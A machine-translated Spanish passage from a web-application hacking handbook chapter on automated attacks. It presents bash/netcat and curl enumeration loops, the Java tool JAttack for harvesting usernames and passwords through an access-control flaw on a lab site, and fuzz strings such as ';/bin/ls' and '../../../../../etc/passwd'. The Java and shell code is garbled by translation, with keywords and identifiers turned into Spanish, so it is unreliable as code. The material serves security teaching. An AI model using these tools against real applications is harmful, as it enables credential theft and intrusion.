SUGERENCIA El objetivo principal al seleccionar indicadores de aciertos es encontrar uno

que sea completamente confiable o un grupo que sea confiable cuando se toman en
conjunto. Sin embargo, en algunos ataques, es posible que no sepa de antemano exactamente cómo se ve un golpe.
Por ejemplo, cuando se dirige a una función de inicio de sesión para tratar de enumerar
nombres de usuario, es posible que en realidad no posea un nombre de usuario válido
conocido para determinar el comportamiento de la aplicación en el caso de un acierto. En
esta situación, el mejor enfoque es monitorear las respuestas de la aplicación para todos los
atributos que se acaban de describir y buscar cualquier anomalía.
Scripting del ataque

Suponga que ha identificado la siguiente URL, que devuelve un código de estado 200 cuando se
envía un valor PageNo válido y un código de estado 500 en caso contrario:
http://mdsec.net/app/ShowPage.ashx?PageNo=10069
Este par de solicitud/respuesta satisface las dos condiciones requeridas para que
ser capaz de montar un ataque automatizado para enumerar las ID de página válidas.
En un caso simple como este, es posible crear un script personalizado rápidamente para realizar
un ataque automatizado. Por ejemplo, la siguiente secuencia de comandos bash lee una lista de ID
de página potenciales de la entrada estándar, utiliza la herramienta netcat para solicitar una URL
que contenga cada ID y registra la primera línea de la respuesta del servidor, que contiene el código
de estado HTTP:
#!/bin/bash
servidor=mdsec.net
puerto=80
mientras lee la identificación
hacer
echo -ne “$id\t”

echo -ne “GET/app/ShowPage.ashx?PageNo=$id HTTP/1.0\r\nHost: $servidor\r\n\r\n”
| netcat $servidor $puerto | cabeza -1 hecho |
archivo de salida en T
La ejecución de este script con un archivo de entrada adecuado genera el siguiente resultado, que
le permite identificar rápidamente los ID de página válidos:
~> ./script <IDs.txt

10060 HTTP/1.0 500 Error interno del servidor
10062 HTTP/1.0 200 Ok
10063 HTTP/1.0 200 Ok
...
SUGERENCIA El entorno Cygwin se puede utilizar para ejecutar scripts

bash en la plataforma Windows. Además, la suite UnxUtils contiene puertos
Win32 de numerosas utilidades GNU útiles, como head y grep.
Puede lograr el mismo resultado con la misma facilidad en un script por lotes de Windows. El
siguiente ejemplo usa la herramienta curl para generar solicitudes y el comando findstr para filtrar la
salida:
para /f “tokens=1” %i en (IDs.txt) haz echo %i && curl

mdsec.net/app/ShowPage.ashx?PageNo=%i -i -s | findstr /B HTTP/1.0
Los scripts simples como estos son ideales para realizar una tarea sencilla, como recorrer una lista
de valores de parámetros y analizar la respuesta del servidor para un solo atributo. Sin embargo, en
muchas situaciones es probable que necesite más poder y fl exibilidad de lo que puede ofrecer
fácilmente la secuencia de comandos de la línea de comandos. La preferencia de los autores es utilizar
un lenguaje adecuado orientado a objetos de alto nivel que permita una fácil manipulación de datos
basados en cadenas y proporcione API accesibles para usar sockets y SSL. Los lenguajes que
satisfacen estos criterios incluyen Java, C# y Python. Veremos con más profundidad un ejemplo
usando Java.
Jataque
JAttack es un ejemplo de una herramienta simple pero versátil que demuestra cómo cualquier persona
con algunos conocimientos básicos de programación puede usar la automatización personalizada para
lanzar poderosos ataques contra una aplicación. El código fuente completo de esta herramienta se
puede descargar del sitio web complementario de este libro, http://mdsec.net/ wahh. Sin embargo, más
importantes que el código real son las técnicas básicas involucradas, que explicaremos en breve.
En lugar de simplemente trabajar con una solicitud como un bloque de texto no estructurado,
necesitamos una herramienta para comprender el concepto de un parámetro de solicitud. Este es un nombre
elemento de datos que puede ser manipulado y que se adjunta a una solicitud de manera
particular. Los parámetros de la solicitud pueden aparecer en la cadena de consulta de la URL,
las cookies HTTP o el cuerpo de una solicitud POST . Comencemos por crear una clase Param
para contener los detalles relevantes:
// JAttack.java
// por Dafydd Stuttard import
java.net.*; importar java.io.*;
parámetro de clase
{
Cadena nombre, valor;
tipo tipo;
ataque booleano;
Param (nombre de cadena, valor de cadena, tipo de tipo, ataque booleano)

{
este.nombre = nombre;
este.valor = valor; este.tipo =
tipo; esto.ataque = ataque;
Tipo de enumeración
{
URL, COOKIES, CUERPO
}
}
En muchas situaciones, una solicitud contiene parámetros que no queremos modificar en un

ataque determinado, pero que aún debemos incluir para que el ataque tenga éxito. Podemos usar el
campo “ataque” para marcar si un parámetro dado está sujeto a modificación en el ataque actual.
Para modificar el valor de un parámetro seleccionado de manera artesanal, necesitamos que

nuestra herramienta comprenda el concepto de una carga útil de ataque. En diferentes tipos de
ataques, necesitamos crear diferentes fuentes de carga útil. Construyamos algo de fl exibilidad en la
herramienta desde el principio y creemos una interfaz que todas las fuentes de carga útil deben implementar:
interfaz PayloadSource
{
booleano nextPayload(); reinicio
nulo();
Cadena getPayload();
}
El método nextPayload se puede usar para avanzar el estado de la fuente; devuelve verdadero
hasta que se agotan todas sus cargas útiles. El método reset devuelve el estado a su punto inicial.
El método getPayload devuelve el valor de la carga útil actual.
En el ejemplo de enumeración de documentos, el parámetro que queremos variar contiene

un valor numérico, por lo que nuestra primera implementación de la interfaz PayloadSource
es una clase para generar cargas útiles numéricas. Esta clase nos permite especificar el rango
de números que queremos probar:
clase PSNumbers implementa PayloadSource

{
int desde, hasta, paso, actual;
PSNumbers(int desde, int hasta, int paso)
{
esto.desde = desde; esto.a
= a; este.paso = paso;
Reiniciar();
}
booleano público nextPayload()

{
corriente += paso;
volver actual <= a;
}
reinicio de vacío público ()

{
actual = desde - paso;
}
Cadena pública getPayload()

{
devuelve Integer.toString(actual);
}
}
Equipado con el concepto de un parámetro de solicitud y una fuente de carga útil, tenemos
suficientes recursos para generar solicitudes reales y procesar las respuestas del servidor.
Primero, especifiquemos alguna configuración para nuestro primer ataque:
clase JAttack
{
// configuración de ataque
String host = “mdsec.net”; puerto int = 80;
Método de cadena = "OBTENER"; Cadena
url = “/app/ShowPage.ashx”;
Param[] params = new Param[]

{
new Param(“PageNo”, “10069”, Param.Type.URL, true),
};
Cargas útiles de PayloadSource = new PSNumbers (10060, 10080, 1);
Esta configuración incluye la información básica del objetivo, crea un único

parámetro de solicitud llamado PageNo y configura nuestra fuente de carga útil
numérica para recorrer el rango de 10060 a 10080.
Para recorrer una serie de solicitudes, potencialmente dirigidas a múltiples parámetros,
necesitamos mantener algún estado. Usemos un método nextRequest simple para avanzar en
el estado de nuestro motor de solicitudes, devolviendo verdadero hasta que no haya más solicitudes .
permanecer:
// estado de ataque
int actualParam = 0;
siguienteSolicitud booleana()
{
if (currentParam >= params.length)
falso retorno;
if (!parámetros[parámetro actual].ataque)
{
actualParam++;
volver siguienteSolicitud();
}
if (!cargas útiles.nextPayload())
{
cargas útiles.reset();
actualParam++;
volver siguienteSolicitud();
}
devolver verdadero;
}
Este motor de solicitud con estado realiza un seguimiento de qué parámetro estamos apuntando actualmente y qué carga
útil de ataque colocar en él. El siguiente paso es construir una solicitud HTTP completa utilizando esta información. Esto implica
insertar cada tipo de parámetro en el lugar correcto de la solicitud y agregar cualquier otro encabezado requerido:
Cadena buildRequest()
{
// construir parámetros
StringBuffer urlParams = nuevo StringBuffer();
StringBuffer cookieParams = nuevo StringBuffer();
StringBuffer bodyParams = nuevo StringBuffer();
for (int i = 0; i < params.length; i++)
{
Valor de cadena = (i == parámetro actual) ?
payloads.getPayload() :
parámetros[i].valor;
if (parámetros[i].tipo == Parámetro.Tipo.URL)
urlParams.append(parámetros[i].nombre + “=” + valor + “&”);
else if (params[i].type == Param.Type.COOKIE)
cookieParams.append(parámetros[i].nombre + “=” + valor + “; “); else if (params[i].type ==
Param.Type.BODY)
bodyParams.append(parámetros[i].nombre + “=” + valor + “&”);
}
// solicitud de compilación
StringBuffer req = nuevo StringBuffer();
““
req.append(método + if + URL);
(urlParams.length() > 0) req.append(“?” +
urlParams.substring(0, urlParams.length() - 1));
req.append(“ HTTP/1.0\r\nHost: “ if + huésped);
(cookieParams.length() > 0) req.append(“\r\nCookie: “
+ cookieParams.toString());
si (parámetros del cuerpo.longitud() > 0)
{
req.append(“\r\nContent-Type: application/x-www-form-urlencoded”);
req.append(“\r\nContent-Length: “ + (parámetros del cuerpo.longitud() - 1));
req.append(“\r\n\r\n”);
req.append(bodyParams.substring(0, bodyParams.length() - 1));
}
else req.append(“\r\n\r\n”);
volver req.toString();
}
NOTA Si escribe su propio código para generar solicitudes POST, debe

incluir un encabezado Content-Length válido que especifique la longitud real
del cuerpo HTTP en cada solicitud, como en el código anterior. Si se envía una
longitud de contenido no válida, la mayoría de los servidores web truncan los
datos que envía o esperan indefinidamente a que se suministren más datos.
Para enviar nuestras solicitudes, necesitamos abrir conexiones de red al servidor web de
destino. Java facilita la apertura de una conexión TCP, el envío de datos y la lectura de la
respuesta del servidor:
String issueRequest(String req) lanza UnknownHostException, IOException {
Socket socket = nuevo Socket (host, puerto); OutputStream

os = socket.getOutputStream(); os.write(req.getBytes()); os.flush();
BufferedReader br = new BufferedReader(new InputStreamReader( socket.getInputStream()));

Respuesta de StringBuffer = nuevo StringBuffer();
Línea de cuerda;
while (null != (línea = br.readLine())) respuesta.append(línea);
os.close();
br.cerrar();
devolver respuesta.toString();
}
Habiendo obtenido la respuesta del servidor a cada solicitud, necesitamos analizarla

para extraer la información relevante que nos permita identificar los impactos en nuestro
ataque. Comencemos simplemente registrando dos elementos interesantes: el código de
estado HTTP de la primera línea de la respuesta y la longitud total de la respuesta:
Cadena parseResponse (respuesta de cadena)

{
Salida de StringBuffer = nuevo StringBuffer();
salida.append(respuesta.split(“\\s+”, 3)[1] + “\t”);

output.append(Integer.toString(response.length()) + “\t”);
volver salida.toString();
}
Finalmente, ahora tenemos todo listo para lanzar nuestro ataque. Solo necesitamos un
código contenedor simple para llamar a cada uno de los métodos anteriores e imprimir los
resultados hasta que se hayan realizado todas nuestras solicitudes y nextRequest regrese
falso:
void doAttack()
{
System.out.println(“param\tpayload\tstatus\tlength”); Salida de cadena = nulo;
while (siguienteSolicitud())
{
tratar
{
salida = parseResponse(issueRequest(buildRequest()));
} captura (Excepción e)
{
salida = e.toString();
}
System.out.println(params[currentParam].name + “\t” +
payloads.getPayload() + “\t” + salida);
}
}
public static void main(String[] args)

{
nuevo JAttack().doAttack();
}
¡Eso es! Para compilar y ejecutar este código, debe descargar el SDK de Java
y JRE de Sun y luego ejecute lo siguiente:
> javac JAttack.java > java JAttack
En nuestra configuración de muestra, la salida de la herramienta es la siguiente:
parámetro carga útil estado longitud

Número de página 10060 500 3154
...
Suponiendo una conexión de red normal y una cantidad de potencia de procesamiento,

JAttack puede emitir cientos de solicitudes individuales por minuto y generar los detalles
pertinentes. Esto le permite encontrar rápidamente identificadores de documentos válidos
para una mayor investigación.
¡INTENTALO!
http://mdsec.net/app/
Puede parecer que el ataque que se acaba de ilustrar no es más sofisticado que el
ejemplo original del script bash, que solo requería unas pocas líneas de código. Sin embargo,
debido a cómo está diseñado JAttack, es fácil modificarlo para lanzar ataques mucho más
sofisticados, incorporando múltiples parámetros de solicitud, una variedad de fuentes de
carga útil y un procesamiento de respuestas arbitrariamente complejo. En las siguientes
secciones, haremos algunas adiciones menores al código de JAttack que lo harán
considerablemente más poderoso.
Recolección de datos útiles
El segundo uso principal de la automatización personalizada cuando se ataca una

aplicación es extraer datos útiles o confidenciales mediante el uso de solicitudes
específicas diseñadas para recuperar la información un elemento a la vez. Esta situación
suele surgir cuando ha identificado una vulnerabilidad explotable, como una falla de
control de acceso, que le permite acceder a un recurso no autorizado especificando un
identificador para él. Sin embargo, también puede surgir cuando la aplicación funciona completamente com
previsto por sus diseñadores. Estos son algunos ejemplos de casos en los que la recolección
automatizada de datos puede ser útil:
n Una aplicación de venta minorista en línea contiene una función para que los clientes
registrados vean sus pedidos pendientes. Sin embargo, si puede determinar los
números de pedido asignados a otros clientes, puede ver la información de sus
pedidos de la misma manera que la suya. n Una función de contraseña olvidada se
basa en un desafío configurable por el usuario.
Puede enviar un nombre de usuario arbitrario y ver el desafío asociado.
Al iterar a través de una lista de nombres de usuario enumerados o adivinados, puede
obtener una gran lista de desafíos de contraseña de los usuarios para identificar
aquellos que son fáciles de adivinar. n Una aplicación de flujo de trabajo contiene una
función para mostrar información básica de la cuenta sobre un usuario determinado,
incluido su nivel de privilegio dentro de la aplicación. Al iterar a través del rango de ID
de usuario en uso, puede obtener una lista de todos los usuarios administrativos, que
puede usarse como base para adivinar contraseñas y otros ataques.
El enfoque básico para usar la automatización para recolectar datos es esencialmente

similar a la enumeración de identificadores válidos, excepto que ahora no solo está interesado
en un resultado binario (un acierto o un error), sino que también busca extraer parte del
contenido. de cada respuesta en una forma utilizable.
Considere la siguiente solicitud, realizada por un usuario que inició sesión para mostrar
información de su cuenta:
OBTENGA /auth/498/SusDetalles.ashx?uid=198 HTTP/1.1

Cookie: ID de sesión = 0947F6DC9A66D29F15362D031B337797
Aunque solo los usuarios autenticados pueden acceder a esta función de la aplicación,
existe una vulnerabilidad de control de acceso, lo que significa que cualquier usuario puede
ver los detalles de cualquier otro usuario simplemente modificando el parámetro uid . En otra
vulnerabilidad, los detalles revelados también incluyen las credenciales completas del usuario.
Dado el bajo valor del parámetro uid para nuestro usuario, debería ser fácil predecir los
identifi cadores de otros usuarios.
Cuando se muestran los detalles de un usuario, la fuente de la página contiene los datos
personales dentro de una tabla HTML como la siguiente:
<tr>
<td>Nombre: </td><td>Phill Bellend</td>
</tr>
<tr>
<td>Nombre de usuario: </td><td>phillb</td>
</tr>
<tr>
<td>Contraseña: </td><td>b3ll3nd</td>
</tr>
...
Dado el comportamiento de la aplicación, es sencillo montar un ataque automatizado

personalizado para recopilar toda la información del usuario, incluidas las credenciales, que se
encuentra dentro de la aplicación.
Para hacerlo, realicemos algunas mejoras rápidas en la herramienta JAttack para permitirle extraer
y registrar datos específicos desde las respuestas del servidor. Primero, podemos agregar a los datos
de configuración del ataque una lista de las cadenas dentro del código fuente que identifican el
contenido interesante que queremos extraer:
Cadena final estática [] extractStrings = nueva cadena []

{
“<td>Nombre: </td><td>”,
“<td>Nombre de usuario: </td><td>”,
“<td>Contraseña: </td><td>”
};
En segundo lugar, podemos agregar lo siguiente al método parseResponse para buscar

cada respuesta para cada una de estas cadenas y extraer lo que viene a continuación,
hasta el paréntesis angular que le sigue:
para (Extracción de cadena: extractStrings)

{
int de = respuesta.indexOf(extraer); si (de == -1) continuar;
desde += extraer.longitud(); int a =

respuesta.indexOf(“<”, de); si (a == -1)
a = respuesta.longitud();
output.append(response.subSequence(from, to) + “\t”);
}
Eso es todo lo que necesitamos cambiar dentro del código real de la herramienta. Para configurar
JAttack para que se dirija a la solicitud real en la que estamos interesados, debemos actualizar su
configuración de ataque de la siguiente manera:
String url = “/auth/498/TusDetalles.ashx”;

{
nuevo parámetro ("Id de sesión", "0947F6DC9A66D29F15362D031B337797",
Param.Tipo.COOKIE, falso),
nuevo Parámetro(“uid”, “198”, Parámetro.Tipo.URL, verdadero),
};
Cargas útiles de PayloadSource = nuevos PSNumbers (190, 200, 1);
Esta configuración le indica a JAttack que realice solicitudes a la URL relevante que
contiene los dos parámetros requeridos: la cookie que contiene nuestro token de sesión
actual y el identificador de usuario vulnerable. Solo uno de estos se modificará realmente,
usando el rango de números de uid potenciales especificados.
Cuando ahora ejecutamos JAttack, obtenemos el siguiente resultado:
uido 190 500 300

uido 191 200 27489 Paquete de seis de Adam Matthews b4dl1ght
uido 192 200 28991 pablina s Pablo puntita5th
uido 193 200 29430 Shawn grasa gr3ggslu7
uido 194 500 300
uido 195 200 28224 rut casa ruth_h solitariopu55
uido 196 500 300
uido 197 200 28171 chardonnay vegasc peligromou5e
uido 198 200 27880 Phill Bellend b3ll3nd
uido 199 200 28901 Pablo Byrne byrnsey l33tfuzz
fluido 200 200 27388 pedro weiner weiner skinth1rd
Como puede ver, el ataque fue exitoso y capturó los detalles de algunos usuarios. Al
ampliar el rango numérico utilizado en el ataque, pudimos extraer la información de inicio
de sesión de cada usuario en la aplicación, con la esperanza de incluir algunos
administradores de la aplicación.
¡INTENTALO!
Tenga en cuenta que si está ejecutando el código JAttack de muestra en este ejemplo de
laboratorio, debe ajustar la URL, la cookie de sesión y el parámetro de ID de usuario utilizados
en su configuración de ataque, de acuerdo con los valores que le proporciona la aplicación.
SUGERENCIA La salida de datos en formato delimitado por tabuladores se puede cargar

fácilmente en un software de hoja de cálculo como Excel para una mayor manipulación o
limpieza. En muchas situaciones, el resultado de un ejercicio de recopilación de datos se
puede utilizar como entrada para otro ataque automatizado.
Fuzzing para vulnerabilidades comunes
El tercer uso principal de la automatización personalizada no implica apuntar a ninguna

vulnerabilidad conocida para enumerar o extraer información. Más bien, su objetivo es
sondear la aplicación con varias cadenas de ataque diseñadas para causar un
comportamiento anómalo dentro de la aplicación si existen vulnerabilidades comunes particulares.
están presentes. Este tipo de ataque es mucho menos focalizado que los descritos
anteriormente, por las siguientes razones:
n Por lo general, implica enviar el mismo conjunto de cargas útiles de ataque que cada
parámetro a cada página de la aplicación, independientemente de la función normal de
cada parámetro o del tipo de datos que la aplicación espera recibir. Estas cargas útiles
a veces se denominan cadenas fuzz.
n No sabe de antemano con precisión cómo identificar los aciertos. En lugar de monitorear
las respuestas de la aplicación para un indicador específico de éxito, generalmente
necesita capturar tantos detalles como sea posible en una forma clara.
Luego, puede revisar fácilmente esta información para identificar los casos en los que
su cadena de ataque ha desencadenado algún comportamiento anómalo dentro de la
aplicación que amerite una mayor investigación.
Como ha visto al examinar varias fallas comunes de aplicaciones web, algunas

vulnerabilidades se manifiestan en el comportamiento de la aplicación de formas
particulares reconocibles, como un mensaje de error específico o códigos de estado
HTTP. En ocasiones, se puede confiar en estas firmas de vulnerabilidad para
detectar defectos comunes, y son el medio por el cual los escáneres de vulnerabilidad
de aplicaciones automatizados identifican la mayoría de sus hallazgos (consulte el Capítulo 20).
Sin embargo, en principio, cualquier cadena de prueba que envíe a la aplicación puede dar
lugar a cualquier comportamiento esperado que, en su contexto particular, indique la presencia
de una vulnerabilidad. Por esta razón, un atacante experimentado que utiliza técnicas
automatizadas personalizadas suele ser mucho más eficaz que cualquier herramienta
totalmente automatizada. Tal atacante puede realizar un análisis inteligente de cada detalle
pertinente de las respuestas de la aplicación. Puede pensar como un diseñador y desarrollador
de aplicaciones. Y puede detectar e investigar conexiones inusuales entre solicitudes y
respuestas de una manera que ninguna herramienta actual puede hacerlo.
El uso de la automatización para facilitar el descubrimiento de vulnerabilidades es

particularmente benéfico en una aplicación grande y compleja que contiene docenas de páginas
dinámicas, cada una de las cuales acepta numerosos parámetros. Probar cada solicitud
manualmente y rastrear los detalles pertinentes de las respuestas de la aplicación a las
solicitudes relacionadas es casi imposible. La única forma práctica de probar una aplicación de
este tipo es aprovechar la automatización para replicar muchas de las tareas laboriosas que,
de lo contrario, tendría que realizar manualmente.
Habiendo identificado y explotado los controles de acceso rotos en el ejemplo anterior,
también podríamos realizar un ataque de fuzzing para verificar varias vulnerabilidades basadas
en la entrada. Como exploración inicial de la superficie de ataque, decidimos enviar las
siguientes cadenas dentro de cada parámetro:
norte
' — Esto genera un error en algunos casos de inyección SQL. n ;/bin/ls :
esta cadena provoca un comportamiento inesperado en algunos casos de inyección de
comandos.
n ../../../../../etc/passwd : esta cadena genera una respuesta diferente en algunos casos

en los que existe una falla en el recorrido de la ruta.
n xsstest : si esta cadena se copia en la respuesta del servidor, la aplicación puede
ser vulnerable a secuencias de comandos entre sitios.
Podemos extender la herramienta JAttack para generar estas cargas útiles creando una nueva
fuente de carga útil:
clase PSFuzzStrings implementa PayloadSource

{
Cadena final estática [] fuzzStrings = nueva cadena []
{
“'”, “;/bin/ls”, “../../../../../etc/passwd”, “xsstest”
};
int actual = -1;
booleano público nextPayload()

{
actual++;
volver actual < fuzzStrings.length;
}
reinicio de vacío público ()

{
corriente = -1;
}
Cadena pública getPayload()

{
return fuzzStrings[actual];
}
}
NOTA Cualquier ataque serio para sondear la aplicación en busca de fallas de seguridad
necesitaría emplear muchas otras cadenas de ataque para identificar otras debilidades y
otras variaciones de los defectos mencionados anteriormente. Consulte el Capítulo 21
para obtener una lista más completa de las cadenas que son efectivas cuando se realiza
la prueba de fuzzing de una aplicación web.
Para usar JAttack para fuzzing, también necesitamos ampliar su código de análisis de respuesta
para proporcionar más información sobre cada respuesta recibida de la aplicación . Una forma
sencilla de mejorar en gran medida este análisis es buscar en cada respuesta una serie de
cadenas y mensajes de error comunes que puedan indicar que se ha producido algún
comportamiento anómalo y registrar cualquier aparición en el resultado de la herramienta.
Primero, podemos agregar a los datos de configuración del ataque una lista de las cadenas que
queremos buscar:
Cadena final estática [] grepStrings = nueva cadena []

{
“error”, “excepción”, “ilegal”, “cita”, “no encontrado”, “xsstest”
};
En segundo lugar, podemos agregar lo siguiente al método parseResponse para buscar

cada respuesta para las cadenas anteriores y registre cualquiera que se encuentre:
para (cadena grep: grepStrings)

si (respuesta.indexOf(grep) != -1)
salida.append(grep + “\t”);
SUGERENCIA La incorporación de esta función de búsqueda en JAttack con

frecuencia resulta útil al enumerar identificadores dentro de la aplicación. Es
común encontrar que el indicador más confiable de un acierto es la presencia
o ausencia de una expresión específica dentro de la respuesta de la aplicación.
Esto es todo lo que necesitamos hacer para crear un fuzzer de aplicación web básico. Para
entregar el ataque real, simplemente necesitamos actualizar nuestra configuración de JAttack
para atacar ambos parámetros a la solicitud y usar nuestras cadenas fuzz como cargas útiles:
Cadena host = “mdsec.net”;

puerto int = 80;
Método de cadena = "OBTENER";
String url = “/auth/498/TusDetalles.ashx”;
{
nuevo parámetro ("Id de sesión", "C1F5AFDD7DF969BD1CD2CE40A2E07D19",
Param.Tipo.COOKIE, verdadero),
nuevo Parámetro(“uid”, “198”, Parámetro.Tipo.URL, verdadero),
};
Cargas útiles de PayloadSource = new PSFuzzStrings();
Con esta configuración en su lugar, podemos lanzar nuestro ataque. En unos pocos segundos,
JAttack ha enviado cada carga útil de ataque dentro de cada parámetro de la solicitud, lo que habría
llevado al menos varios minutos para emitir manualmente. También habría llevado mucho más
tiempo revisar y analizar las respuestas sin procesar recibidas.
La siguiente tarea es inspeccionar manualmente la salida de JAttack e intentar identificar
cualquier resultado anómalo que pueda indicar la presencia de una vulnerabilidad:
parámetro carga útil longitud de estado

ID de sesión ' 302 502
ID de sesión;/bin/ls 302 502
ID de sesión ../../../../../../etc/passwd 302 ID de sesión xsstest 502

302 502
fluido ' 200 2941 excepción cotización excepción
fluido ;/bin/ls 200 2895 excepción excepción xsstest
fluido ../../../../../../etc/contraseña 200 2915
fluido xsstest 200 2898
En las solicitudes que modifican el parámetro SessionId , la aplicación responde con una
respuesta de redirección que siempre tiene la misma longitud. Este comportamiento no
indica ninguna vulnerabilidad. Esto no es sorprendente, ya que modificar el token de sesión
mientras está conectado generalmente invalida la sesión actual y provoca una redirección
al inicio de sesión.
El parámetro uid es más interesante. Todas las modificaciones a este parámetro provocan
una respuesta que contiene la excepción de cadena. Las respuestas tienen una longitud
variable , lo que indica que las diferentes cargas dan como resultado diferentes respuestas,
por lo que probablemente no se trate solo de un mensaje de error genérico. Yendo más
allá, podemos ver que cuando se envía una comilla simple, la respuesta de la aplicación
contiene la cita de cadena , que probablemente sea parte de un mensaje de error de SQL.
Esto podría ser una falla de inyección SQL, y deberíamos investigar manualmente para
confirmarlo (consulte el Capítulo 9). Además, podemos ver que la carga útil xsstest se repite
en la respuesta de la aplicación. Deberíamos investigar más este comportamiento para
determinar si el mensaje de error se puede aprovechar para realizar un ataque de
secuencias de comandos entre sitios (consulte el Capítulo 12).
¡INTENTALO!
Poniendo todo junto: Burp Intruder

La herramienta JAttack consta de menos de 250 líneas de código simple, sin embargo, en
unos pocos segundos, descubrió al menos dos vulnerabilidades de seguridad potencialmente
graves al enviar una sola solicitud a una aplicación.
Sin embargo, a pesar de su poder, tan pronto como comience a usar una herramienta
como JAttack para lanzar ataques personalizados automatizados, identificará rápidamente
la funcionalidad adicional que la haría aún más útil. Tal como está, debe configurar cada
solicitud específica dentro del código fuente de la herramienta y luego volver a compilarla.
Sería mejor leer esta información desde un archivo de configuración y construir
dinámicamente el ataque en tiempo de ejecución. De hecho, sería mucho
mejor tener una buena interfaz de usuario que te permita configurar cada uno de los ataques
descritos en unos pocos segundos.
Hay muchas situaciones en las que necesita más fl exibilidad en la forma en que se generan
las cargas útiles, lo que requiere muchas fuentes de carga útil más avanzadas que las que
hemos creado. A menudo, también necesitará soporte para SSL, autenticación HTTP ,
solicitudes de subprocesos múltiples, seguimiento automático de redirecciones y codificación
automática de caracteres inusuales dentro de las cargas útiles. Hay situaciones en las que
modificar un solo parámetro a la vez sería demasiado restrictivo. Deberá inyectar una fuente de
carga útil en un parámetro y una fuente diferente en otro. Sería bueno almacenar todas las
respuestas de la aplicación para una fácil referencia , de modo que pueda inspeccionar de
inmediato una respuesta interesante para comprender lo que está sucediendo, e incluso
modificar manualmente la solicitud correspondiente y volver a emitirla. Además de modificar y
emitir una sola solicitud repetidamente, en algunas situaciones debe manejar procesos de
múltiples etapas, sesiones de aplicaciones y tokens por solicitud. También sería bueno integrar
la herramienta con otras herramientas útiles como un proxy y una araña, evitando la necesidad
de cortar y pegar información de un lado a otro.
Burp Intruder es una herramienta única que implementa toda esta funcionalidad. Está
diseñado específicamente para permitirle realizar todo tipo de ataques automatizados
personalizados con un mínimo de configuración y para presentar los resultados con una gran
cantidad de detalles, lo que le permite concentrarse rápidamente en los aciertos y otros casos
de prueba anómalos. También está completamente integrado con las otras herramientas de
Burp Suite. Por ejemplo, puede atrapar una solicitud en el proxy, pasar esto a Intruder para que
sea fuzzeado y pasar resultados interesantes a Repeater para confirmar y explotar todo tipo de
vulnerabilidades.
Describiremos las funciones básicas y la configuración de Burp Intruder y luego veremos
algunos ejemplos de su uso para realizar ataques automatizados personalizados .
Posicionamiento de cargas útiles
Burp Intruder usa un modelo conceptual similar al que usa JAttack, basado en el posicionamiento
de cargas útiles en puntos específicos dentro de una solicitud y una o más fuentes de carga útil.
Sin embargo, Intruder no se limita a insertar cadenas de carga útil en los valores de los
parámetros de solicitud reales. Las cargas útiles se pueden colocar en una subparte del valor
de un parámetro, o en el nombre de un parámetro, o en cualquier lugar dentro de los
encabezados o el cuerpo de una solicitud.
Habiendo identificado una solicitud particular para usarla como base para el ataque, cada
posición de la carga útil se define usando un par de marcadores para indicar el inicio y el final
del punto de inserción de la carga útil, como se muestra en la Figura 14-1.
Figura 14-1: Posicionamiento de cargas útiles
Cuando se inserta una carga útil en una posición particular, cualquier texto entre los
marcadores se sobrescribe con la carga útil. Cuando no se inserta una carga útil, en
su lugar se envía el texto entre los marcadores. Esto es necesario para probar un
parámetro a la vez, dejando los demás sin modificar, como cuando se realiza el fuzzing
de la aplicación. Al hacer clic en el botón Auto, Intruder establece posiciones de carga
útil en los valores de todos los parámetros de URL, cookies y cuerpo, lo que automatiza
una tarea tediosa que se realizaba manualmente en JAttack.
El tipo de ataque de francotirador es el que necesitarás con más frecuencia. Funciona de
la misma manera que el motor de solicitud de JAttack, apuntando a una posición de carga útil
a la vez, enviando todas las cargas útiles en esa posición y luego moviéndose a la siguiente
posición. Otros tipos de ataque le permiten apuntar a múltiples posiciones simultáneamente
de diferentes maneras, utilizando múltiples conjuntos de carga útil.
Elegir cargas útiles

El siguiente paso en la preparación de un ataque es elegir el conjunto de cargas útiles que se
insertarán en las posiciones definidas. Intruder contiene numerosas funciones integradas para
generar cargas de ataque, incluidas las siguientes:
n Listas de elementos preestablecidos y configurables.
n Iteración personalizada de cargas útiles basada en cualquier esquema sintáctico. Por ejemplo, si la
aplicación usa nombres de usuario con el formato ABC45D, el iterador personalizado se puede
usar para recorrer el rango de todos los nombres de usuario posibles. n Sustitución de caracteres
y casos. A partir de una lista inicial de cargas útiles, Intruder puede modificar caracteres individuales
y sus mayúsculas y minúsculas para generar variaciones.
Esto puede ser útil cuando se utilizan contraseñas de fuerza bruta. Por ejemplo, la
cadena contraseña puede modificarse para convertirse en p4ssword, passw0rd,
Password, PASSWORD, etc.
n Números, que se pueden usar para desplazarse por los ID de documentos, tokens de sesión, etc.
Los números se pueden crear en decimal o hexadecimal, como enteros o fracciones,
secuencialmente, en incrementos escalonados o al azar.
Producir números aleatorios dentro de un rango defi nido puede ser útil al buscar aciertos cuando
tiene una idea de cuán grandes son algunos valores válidos pero no ha identificado ningún patrón
confiable para extrapolarlos. n Fechas, que se pueden utilizar de la misma forma que los números
en algunas situaciones.
Por ejemplo, si un formulario de inicio de sesión requiere que se ingrese una fecha de nacimiento,
esta función se puede usar para aplicar fuerza bruta a todas las fechas válidas dentro de un rango
específico. n Codificaciones Unicode ilegales, que se pueden usar para eludir algunos filtros de
entrada mediante el envío de codificaciones alternativas de caracteres maliciosos. n Bloques de
caracteres, que se pueden usar para sondear vulnerabilidades de desbordamiento de búfer

habilidades (ver Capítulo 16).
n Una función de fuerza bruta, que se puede usar para generar todas las permutaciones
de un conjunto de caracteres en particular en un rango específico de longitudes. El
uso de esta función es el último recurso en la mayoría de las situaciones debido a la
gran cantidad de solicitudes que genera. Por ejemplo, la fuerza bruta de todas las
contraseñas posibles de seis dígitos que contienen solo caracteres alfabéticos en
minúsculas produce más de tres millones de permutaciones, más de las que
prácticamente se pueden probar con solo acceso remoto a la aplicación.
ÿ Funciones “Character frobber” y “bit flipper”, que se pueden usar para manipular sistemáticamente
partes del valor existente de un parámetro para probar el manejo de modificaciones sutiles por
parte de la aplicación (consulte el Capítulo 7).
Además de las funciones de generación de carga útil, puede configurar reglas para
realizar un procesamiento arbitrario en el valor de cada carga útil antes de que se utilice.
Esto incluye manipulación de cadenas y casos, codificación y decodificación en varios
esquemas y hash. Si lo hace, le permite crear cargas útiles efectivas en muchos tipos de
situaciones inusuales.
Burp Intruder codifica por URL de forma predeterminada cualquier carácter que pueda
invalidar su solicitud si se coloca en la solicitud en su forma literal.
Configuración del análisis de respuesta
Para muchos tipos de ataques, debe identificar los atributos de las respuestas del servidor que
le interesa analizar. Por ejemplo, al enumerar identifi cadores, es posible que deba buscar en
